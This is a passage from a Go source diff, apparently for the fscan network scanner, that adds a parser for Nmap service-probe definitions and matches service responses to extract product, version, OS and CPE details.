if len(plugins) == 0 {
|
||||||
|
plugins = []string{Common.ScanMode}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证每个插件是否有效
|
||||||
|
var invalidPlugins []string
|
||||||
|
for _, plugin := range plugins {
|
||||||
|
if _, exists := Common.PluginManager[plugin]; !exists {
|
||||||
|
invalidPlugins = append(invalidPlugins, plugin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(invalidPlugins) > 0 {
|
||||||
|
return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", "))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,877 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
_ "embed"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed nmap-service-probes.txt
|
||||||
|
var ProbeString string
|
||||||
|
|
||||||
|
var v VScan // 改为VScan类型而不是指针
|
||||||
|
|
||||||
|
type VScan struct {
|
||||||
|
Exclude string
|
||||||
|
AllProbes []Probe
|
||||||
|
UdpProbes []Probe
|
||||||
|
Probes []Probe
|
||||||
|
ProbesMapKName map[string]Probe
|
||||||
|
}
|
||||||
|
|
||||||
|
type Probe struct {
|
||||||
|
Name string // 探测器名称
|
||||||
|
Data string // 探测数据
|
||||||
|
Protocol string // 协议
|
||||||
|
Ports string // 端口范围
|
||||||
|
SSLPorts string // SSL端口范围
|
||||||
|
|
||||||
|
TotalWaitMS int // 总等待时间
|
||||||
|
TCPWrappedMS int // TCP包装等待时间
|
||||||
|
Rarity int // 稀有度
|
||||||
|
Fallback string // 回退探测器名称
|
||||||
|
|
||||||
|
Matchs *[]Match // 匹配规则列表
|
||||||
|
}
|
||||||
|
|
||||||
|
type Match struct {
|
||||||
|
IsSoft bool // 是否为软匹配
|
||||||
|
Service string // 服务名称
|
||||||
|
Pattern string // 匹配模式
|
||||||
|
VersionInfo string // 版本信息格式
|
||||||
|
FoundItems []string // 找到的项目
|
||||||
|
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||||
|
}
|
||||||
|
|
||||||
|
type Directive struct {
|
||||||
|
DirectiveName string
|
||||||
|
Flag string
|
||||||
|
Delimiter string
|
||||||
|
DirectiveStr string
|
||||||
|
}
|
||||||
|
|
||||||
|
type Extras struct {
|
||||||
|
VendorProduct string
|
||||||
|
Version string
|
||||||
|
Info string
|
||||||
|
Hostname string
|
||||||
|
OperatingSystem string
|
||||||
|
DeviceType string
|
||||||
|
CPE string
|
||||||
|
}
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
Common.LogDebug("开始初始化全局变量")
|
||||||
|
|
||||||
|
v = VScan{} // 直接初始化VScan结构体
|
||||||
|
v.Init()
|
||||||
|
|
||||||
|
// 获取并检查 NULL 探测器
|
||||||
|
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||||
|
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||||
|
null = &nullProbe
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("警告: 未找到NULL探测器")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取并检查 GenericLines 探测器
|
||||||
|
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||||
|
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data)))
|
||||||
|
common = &commonProbe
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("警告: 未找到GenericLines探测器")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug("全局变量初始化完成")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析指令语法,返回指令结构
|
||||||
|
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||||
|
Common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||||
|
|
||||||
|
directive = Directive{}
|
||||||
|
// 查找第一个空格的位置
|
||||||
|
blankIndex := strings.Index(data, " ")
|
||||||
|
if blankIndex == -1 {
|
||||||
|
Common.LogDebug("未找到空格分隔符")
|
||||||
|
return directive
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析各个字段
|
||||||
|
directiveName := data[:blankIndex]
|
||||||
|
Flag := data[blankIndex+1 : blankIndex+2]
|
||||||
|
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||||
|
directiveStr := data[blankIndex+3:]
|
||||||
|
|
||||||
|
directive.DirectiveName = directiveName
|
||||||
|
directive.Flag = Flag
|
||||||
|
directive.Delimiter = delimiter
|
||||||
|
directive.DirectiveStr = directiveStr
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||||
|
directiveName, Flag, delimiter, directiveStr))
|
||||||
|
|
||||||
|
return directive
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析探测器信息
|
||||||
|
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||||
|
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||||
|
|
||||||
|
// 提取协议和其他信息
|
||||||
|
proto := probeStr[:4]
|
||||||
|
other := probeStr[4:]
|
||||||
|
|
||||||
|
// 验证协议类型
|
||||||
|
if !(proto == "TCP " || proto == "UDP ") {
|
||||||
|
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证其他信息不为空
|
||||||
|
if len(other) == 0 {
|
||||||
|
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析指令
|
||||||
|
directive := p.getDirectiveSyntax(other)
|
||||||
|
|
||||||
|
// 设置探测器属性
|
||||||
|
p.Name = directive.DirectiveName
|
||||||
|
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||||
|
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||||
|
p.Name, p.Data, p.Protocol))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从字符串解析探测器信息
|
||||||
|
func (p *Probe) fromString(data string) error {
|
||||||
|
Common.LogDebug("开始解析探测器字符串数据")
|
||||||
|
var err error
|
||||||
|
|
||||||
|
// 预处理数据
|
||||||
|
data = strings.TrimSpace(data)
|
||||||
|
lines := strings.Split(data, "\n")
|
||||||
|
if len(lines) == 0 {
|
||||||
|
return fmt.Errorf("输入数据为空")
|
||||||
|
}
|
||||||
|
|
||||||
|
probeStr := lines[0]
|
||||||
|
p.parseProbeInfo(probeStr)
|
||||||
|
|
||||||
|
// 解析匹配规则和其他配置
|
||||||
|
var matchs []Match
|
||||||
|
for _, line := range lines {
|
||||||
|
Common.LogDebug("处理行: " + line)
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(line, "match "):
|
||||||
|
match, err := p.getMatch(line)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析match失败: " + err.Error())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
matchs = append(matchs, match)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "softmatch "):
|
||||||
|
softMatch, err := p.getSoftMatch(line)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析softmatch失败: " + err.Error())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
matchs = append(matchs, softMatch)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "ports "):
|
||||||
|
p.parsePorts(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "sslports "):
|
||||||
|
p.parseSSLPorts(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "totalwaitms "):
|
||||||
|
p.parseTotalWaitMS(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||||
|
p.parseTCPWrappedMS(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "rarity "):
|
||||||
|
p.parseRarity(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "fallback "):
|
||||||
|
p.parseFallback(line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
p.Matchs = &matchs
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析端口配置
|
||||||
|
func (p *Probe) parsePorts(data string) {
|
||||||
|
p.Ports = data[len("ports")+1:]
|
||||||
|
Common.LogDebug("解析端口: " + p.Ports)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析SSL端口配置
|
||||||
|
func (p *Probe) parseSSLPorts(data string) {
|
||||||
|
p.SSLPorts = data[len("sslports")+1:]
|
||||||
|
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析总等待时间
|
||||||
|
func (p *Probe) parseTotalWaitMS(data string) {
|
||||||
|
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.TotalWaitMS = waitMS
|
||||||
|
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析TCP包装等待时间
|
||||||
|
func (p *Probe) parseTCPWrappedMS(data string) {
|
||||||
|
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.TCPWrappedMS = wrappedMS
|
||||||
|
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析稀有度
|
||||||
|
func (p *Probe) parseRarity(data string) {
|
||||||
|
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("解析稀有度失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.Rarity = rarity
|
||||||
|
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析回退配置
|
||||||
|
func (p *Probe) parseFallback(data string) {
|
||||||
|
p.Fallback = data[len("fallback")+1:]
|
||||||
|
Common.LogDebug("回退配置: " + p.Fallback)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为十六进制编码
|
||||||
|
func isHexCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为八进制编码
|
||||||
|
func isOctalCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为结构化转义字符
|
||||||
|
func isStructCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\[aftnrv]`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为正则表达式特殊字符
|
||||||
|
func isReChar(n int64) bool {
|
||||||
|
reChars := `.*?+{}()^$|\`
|
||||||
|
for _, char := range reChars {
|
||||||
|
if n == int64(char) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断是否为其他转义序列
|
||||||
|
func isOtherEscapeCode(b []byte) bool {
|
||||||
|
matchRe := regexp.MustCompile(`\\[^\\]`)
|
||||||
|
return matchRe.Match(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从内容解析探测器规则
|
||||||
|
func (v *VScan) parseProbesFromContent(content string) {
|
||||||
|
Common.LogDebug("开始解析探测器规则文件内容")
|
||||||
|
var probes []Probe
|
||||||
|
var lines []string
|
||||||
|
|
||||||
|
// 过滤注释和空行
|
||||||
|
linesTemp := strings.Split(content, "\n")
|
||||||
|
for _, lineTemp := range linesTemp {
|
||||||
|
lineTemp = strings.TrimSpace(lineTemp)
|
||||||
|
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lines = append(lines, lineTemp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证文件内容
|
||||||
|
if len(lines) == 0 {
|
||||||
|
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查Exclude指令
|
||||||
|
excludeCount := 0
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.HasPrefix(line, "Exclude ") {
|
||||||
|
excludeCount++
|
||||||
|
}
|
||||||
|
if excludeCount > 1 {
|
||||||
|
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证第一行格式
|
||||||
|
firstLine := lines[0]
|
||||||
|
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||||
|
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||||
|
Common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理Exclude指令
|
||||||
|
if excludeCount == 1 {
|
||||||
|
v.Exclude = firstLine[len("Exclude")+1:]
|
||||||
|
lines = lines[1:]
|
||||||
|
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 合并内容并分割探测器
|
||||||
|
content = "\n" + strings.Join(lines, "\n")
|
||||||
|
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||||
|
|
||||||
|
// 解析每个探测器
|
||||||
|
for _, probePart := range probeParts {
|
||||||
|
probe := Probe{}
|
||||||
|
if err := probe.fromString(probePart); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
probes = append(probes, probe)
|
||||||
|
}
|
||||||
|
|
||||||
|
v.AllProbes = probes
|
||||||
|
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将探测器转换为名称映射
|
||||||
|
func (v *VScan) parseProbesToMapKName() {
|
||||||
|
Common.LogDebug("开始构建探测器名称映射")
|
||||||
|
v.ProbesMapKName = map[string]Probe{}
|
||||||
|
for _, probe := range v.AllProbes {
|
||||||
|
v.ProbesMapKName[probe.Name] = probe
|
||||||
|
Common.LogDebug("添加探测器映射: " + probe.Name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置使用的探测器
|
||||||
|
func (v *VScan) SetusedProbes() {
|
||||||
|
Common.LogDebug("开始设置要使用的探测器")
|
||||||
|
|
||||||
|
for _, probe := range v.AllProbes {
|
||||||
|
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||||
|
if probe.Name == "SSLSessionReq" {
|
||||||
|
Common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
v.Probes = append(v.Probes, probe)
|
||||||
|
Common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||||
|
|
||||||
|
// 特殊处理TLS会话请求
|
||||||
|
if probe.Name == "TLSSessionReq" {
|
||||||
|
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||||
|
v.Probes = append(v.Probes, sslProbe)
|
||||||
|
Common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
v.UdpProbes = append(v.UdpProbes, probe)
|
||||||
|
Common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||||
|
len(v.Probes), len(v.UdpProbes)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析match指令获取匹配规则
|
||||||
|
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||||
|
Common.LogDebug("开始解析match指令:" + data)
|
||||||
|
match = Match{}
|
||||||
|
|
||||||
|
// 提取match文本并解析指令语法
|
||||||
|
matchText := data[len("match")+1:]
|
||||||
|
directive := p.getDirectiveSyntax(matchText)
|
||||||
|
|
||||||
|
// 分割文本获取pattern和版本信息
|
||||||
|
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||||
|
if len(textSplited) == 0 {
|
||||||
|
return match, fmt.Errorf("无效的match指令格式")
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern := textSplited[0]
|
||||||
|
versionInfo := strings.Join(textSplited[1:], "")
|
||||||
|
|
||||||
|
// 解码并编译正则表达式
|
||||||
|
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||||
|
if decodeErr != nil {
|
||||||
|
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||||
|
return match, decodeErr
|
||||||
|
}
|
||||||
|
|
||||||
|
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||||
|
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||||
|
if compileErr != nil {
|
||||||
|
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||||
|
return match, compileErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置match对象属性
|
||||||
|
match.Service = directive.DirectiveName
|
||||||
|
match.Pattern = pattern
|
||||||
|
match.PatternCompiled = patternCompiled
|
||||||
|
match.VersionInfo = versionInfo
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||||
|
match.Service, match.Pattern))
|
||||||
|
return match, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析softmatch指令获取软匹配规则
|
||||||
|
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||||
|
Common.LogDebug("开始解析softmatch指令:" + data)
|
||||||
|
softMatch = Match{IsSoft: true}
|
||||||
|
|
||||||
|
// 提取softmatch文本并解析指令语法
|
||||||
|
matchText := data[len("softmatch")+1:]
|
||||||
|
directive := p.getDirectiveSyntax(matchText)
|
||||||
|
|
||||||
|
// 分割文本获取pattern和版本信息
|
||||||
|
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||||
|
if len(textSplited) == 0 {
|
||||||
|
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern := textSplited[0]
|
||||||
|
versionInfo := strings.Join(textSplited[1:], "")
|
||||||
|
|
||||||
|
// 解码并编译正则表达式
|
||||||
|
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||||
|
if decodeErr != nil {
|
||||||
|
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||||
|
return softMatch, decodeErr
|
||||||
|
}
|
||||||
|
|
||||||
|
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||||
|
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||||
|
if compileErr != nil {
|
||||||
|
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||||
|
return softMatch, compileErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置softMatch对象属性
|
||||||
|
softMatch.Service = directive.DirectiveName
|
||||||
|
softMatch.Pattern = pattern
|
||||||
|
softMatch.PatternCompiled = patternCompiled
|
||||||
|
softMatch.VersionInfo = versionInfo
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||||
|
softMatch.Service, softMatch.Pattern))
|
||||||
|
return softMatch, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解码模式字符串,处理转义序列
|
||||||
|
func DecodePattern(s string) ([]byte, error) {
|
||||||
|
Common.LogDebug("开始解码pattern: " + s)
|
||||||
|
sByteOrigin := []byte(s)
|
||||||
|
|
||||||
|
// 处理十六进制、八进制和结构化转义序列
|
||||||
|
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||||
|
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
|
||||||
|
var replace []byte
|
||||||
|
|
||||||
|
// 处理十六进制转义
|
||||||
|
if isHexCode(match) {
|
||||||
|
hexNum := match[2:]
|
||||||
|
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
|
||||||
|
if isReChar(byteNum) {
|
||||||
|
replace = []byte{'\\', uint8(byteNum)}
|
||||||
|
} else {
|
||||||
|
replace = []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理结构化转义字符
|
||||||
|
if isStructCode(match) {
|
||||||
|
structCodeMap := map[int][]byte{
|
||||||
|
97: []byte{0x07}, // \a 响铃
|
||||||
|
102: []byte{0x0c}, // \f 换页
|
||||||
|
116: []byte{0x09}, // \t 制表符
|
||||||
|
110: []byte{0x0a}, // \n 换行
|
||||||
|
114: []byte{0x0d}, // \r 回车
|
||||||
|
118: []byte{0x0b}, // \v 垂直制表符
|
||||||
|
}
|
||||||
|
replace = structCodeMap[int(match[1])]
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理八进制转义
|
||||||
|
if isOctalCode(match) {
|
||||||
|
octalNum := match[2:]
|
||||||
|
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
|
||||||
|
replace = []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
return replace
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理其他转义序列
|
||||||
|
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||||
|
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
|
||||||
|
if isOtherEscapeCode(match) {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
return match
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.LogDebug("pattern解码完成")
|
||||||
|
return sByteDec2, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProbesRarity 用于按稀有度排序的探测器切片
|
||||||
|
type ProbesRarity []Probe
|
||||||
|
|
||||||
|
// Len 返回切片长度,实现 sort.Interface 接口
|
||||||
|
func (ps ProbesRarity) Len() int {
|
||||||
|
return len(ps)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
|
||||||
|
func (ps ProbesRarity) Swap(i, j int) {
|
||||||
|
ps[i], ps[j] = ps[j], ps[i]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
|
||||||
|
func (ps ProbesRarity) Less(i, j int) bool {
|
||||||
|
return ps[i].Rarity < ps[j].Rarity
|
||||||
|
}
|
||||||
|
|
||||||
|
// Target 定义目标结构体
|
||||||
|
type Target struct {
|
||||||
|
IP string // 目标IP地址
|
||||||
|
Port int // 目标端口
|
||||||
|
Protocol string // 协议类型
|
||||||
|
}
|
||||||
|
|
||||||
|
// ContainsPort 检查指定端口是否在探测器的端口范围内
|
||||||
|
func (p *Probe) ContainsPort(testPort int) bool {
|
||||||
|
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||||
|
|
||||||
|
// 检查单个端口
|
||||||
|
ports := strings.Split(p.Ports, ",")
|
||||||
|
for _, port := range ports {
|
||||||
|
port = strings.TrimSpace(port)
|
||||||
|
cmpPort, err := strconv.Atoi(port)
|
||||||
|
if err == nil && testPort == cmpPort {
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查端口范围
|
||||||
|
for _, port := range ports {
|
||||||
|
port = strings.TrimSpace(port)
|
||||||
|
if strings.Contains(port, "-") {
|
||||||
|
portRange := strings.Split(port, "-")
|
||||||
|
if len(portRange) != 2 {
|
||||||
|
Common.LogDebug("无效的端口范围格式: " + port)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||||
|
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||||
|
|
||||||
|
if err1 != nil || err2 != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if testPort >= start && testPort <= end {
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// MatchPattern 使用正则表达式匹配响应内容
|
||||||
|
func (m *Match) MatchPattern(response []byte) bool {
|
||||||
|
// 将响应转换为字符串并进行匹配
|
||||||
|
responseStr := string([]rune(string(response)))
|
||||||
|
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
|
||||||
|
|
||||||
|
if len(foundItems) > 0 {
|
||||||
|
m.FoundItems = foundItems
|
||||||
|
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||||
|
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||||
|
Common.LogDebug("开始解析版本信息")
|
||||||
|
var extras = Extras{}
|
||||||
|
|
||||||
|
// 替换版本信息中的占位符
|
||||||
|
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
|
||||||
|
versionInfo := m.VersionInfo
|
||||||
|
for index, value := range foundItems {
|
||||||
|
dollarName := "$" + strconv.Itoa(index+1)
|
||||||
|
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||||
|
}
|
||||||
|
Common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||||
|
|
||||||
|
// 定义解析函数
|
||||||
|
parseField := func(field, pattern string) string {
|
||||||
|
patterns := []string{
|
||||||
|
pattern + `/([^/]*)/`, // 斜线分隔
|
||||||
|
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, p := range patterns {
|
||||||
|
if strings.Contains(versionInfo, pattern) {
|
||||||
|
regex := regexp.MustCompile(p)
|
||||||
|
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||||
|
return matches[1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析各个字段
|
||||||
|
extras.VendorProduct = parseField("厂商产品", " p")
|
||||||
|
extras.Version = parseField("版本", " v")
|
||||||
|
extras.Info = parseField("信息", " i")
|
||||||
|
extras.Hostname = parseField("主机名", " h")
|
||||||
|
extras.OperatingSystem = parseField("操作系统", " o")
|
||||||
|
extras.DeviceType = parseField("设备类型", " d")
|
||||||
|
|
||||||
|
// 特殊处理CPE
|
||||||
|
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||||
|
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||||
|
for _, pattern := range cpePatterns {
|
||||||
|
regex := regexp.MustCompile(pattern)
|
||||||
|
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||||
|
if len(cpeName) > 1 {
|
||||||
|
extras.CPE = cpeName[1]
|
||||||
|
} else {
|
||||||
|
extras.CPE = cpeName[0]
|
||||||
|
}
|
||||||
|
Common.LogDebug("解析到CPE: " + extras.CPE)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return extras
|
||||||
|
}
|
||||||
|
|
||||||
|
// ToMap 将 Extras 转换为 map[string]string
|
||||||
|
func (e *Extras) ToMap() map[string]string {
|
||||||
|
Common.LogDebug("开始转换Extras为Map")
|
||||||
|
result := make(map[string]string)
|
||||||
|
|
||||||
|
// 定义字段映射
|
||||||
|
fields := map[string]string{
|
||||||
|
"vendor_product": e.VendorProduct,
|
||||||
|
"version": e.Version,
|
||||||
|
"info": e.Info,
|
||||||
|
"hostname": e.Hostname,
|
||||||
|
"os": e.OperatingSystem,
|
||||||
|
